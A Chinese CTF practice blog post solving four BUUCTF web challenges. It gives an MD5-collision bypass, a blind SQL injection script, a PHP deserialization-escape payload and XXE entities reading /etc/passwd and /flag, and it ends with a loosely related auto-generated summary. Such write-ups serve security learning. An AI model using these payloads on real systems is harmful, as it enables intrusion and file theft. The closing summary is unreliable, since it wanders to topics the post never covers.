buuctf刷题记录

8月6日buuctf

[MRCTF2020]Ez_bypass

知识点MD5绕过,php特性

打开得到源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

MD5强比较,试试数组绕过:

网上找个强绕过的值,然后passwd根据php特性传入1234567s(数据加任意字符即可)

id=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
gg=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

ok

[BJDCTF 2nd]简单注入

扫到robots.txt,发现hint.txt,打开看到

测试发现过滤 了',union,select等注入词,看看大佬的做法

用admin\来将'转义,后面就可以用整数型注入,试试or 1#,再试试or 0#

贴上代码,select被过滤了我实在想不到怎么注入得到数据,看大佬的发现直接username和password,学到了...

import requests
import time as ti

url='http://43be6073-99d9-4a0c-b28b-3a35fd75574e.node3.buuoj.cn/index.php'
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload="or ascii(substr((database()),%d,1))>%d#"%(x,mid)
        #payload="or ascii(substr((username),%d,1))>%d#"%(x,mid)
        #payload="or ascii(substr((password),%d,1))>%d#"%(x,mid)
        data = {
                "username":"admin\\",
                "password":payload
        }
        #print(payload)
        response = requests.post(url,data=data)
        if 'BJD needs to' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    print(mid)
    result += chr(int(mid))
    print(result)

最后得到username=admin,password=OhyOuFOuNdit,登录就行啦

[安洵杯 2019]easy_serialize_php

php代码审计,反序列化

打开得到以下源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

f=phpinfo,在其中找到了疑似flag的文件

可以用extract($_POST)来传入我们想要的值,可以看到f=show_image时可以读取文件,但是img直接传会sha1加密,所以可以想到传SESSION的值来反序列化,由filter函数看到seesion值里有php或flag会替换掉,我们就可以将传入的值改变一下。

如我们传入payload1

_SESSION['flagflagflag']=aaaa";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:12:"flagflagflag";s:55:"aaaa";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

由于flag置换为空,变成了

a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:12:"";s:55:"aaaa";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

其中";s:55:"aaaa部分正好12个字符,后面又有"闭合,就可以得到

array(4) {
  ["user"]=>
  string(5) "guest"
  ["function"]=>
  string(10) "show_image"
  ["";s:55:"aaaa"]=>
  string(3) "aaa"
  ["img"]=>
  string(20) "ZDBnM19mMWFnLnBocA=="
}

传入payload1,我们得到:

再将上文base64传入得到

[NCTF2019]Fake XML cookbook

xml的xxe攻击

随便输入一个账号看数据流

<user><username>admin</username><password>admin</password></user>

猜测是xxe攻击

抓包测试一下

可以读取/etc/passwd

测试命令执行

<!DOCTYPE ANY [
  <!ENTITY admin SYSTEM "except://ls">
]>
<user><username>&admin;</username><password>123456</password></user>

发现不支持,最后发现是猜flag位置

最终payload

<!DOCTYPE ANY [
  <!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTFbuuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTF的Web真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值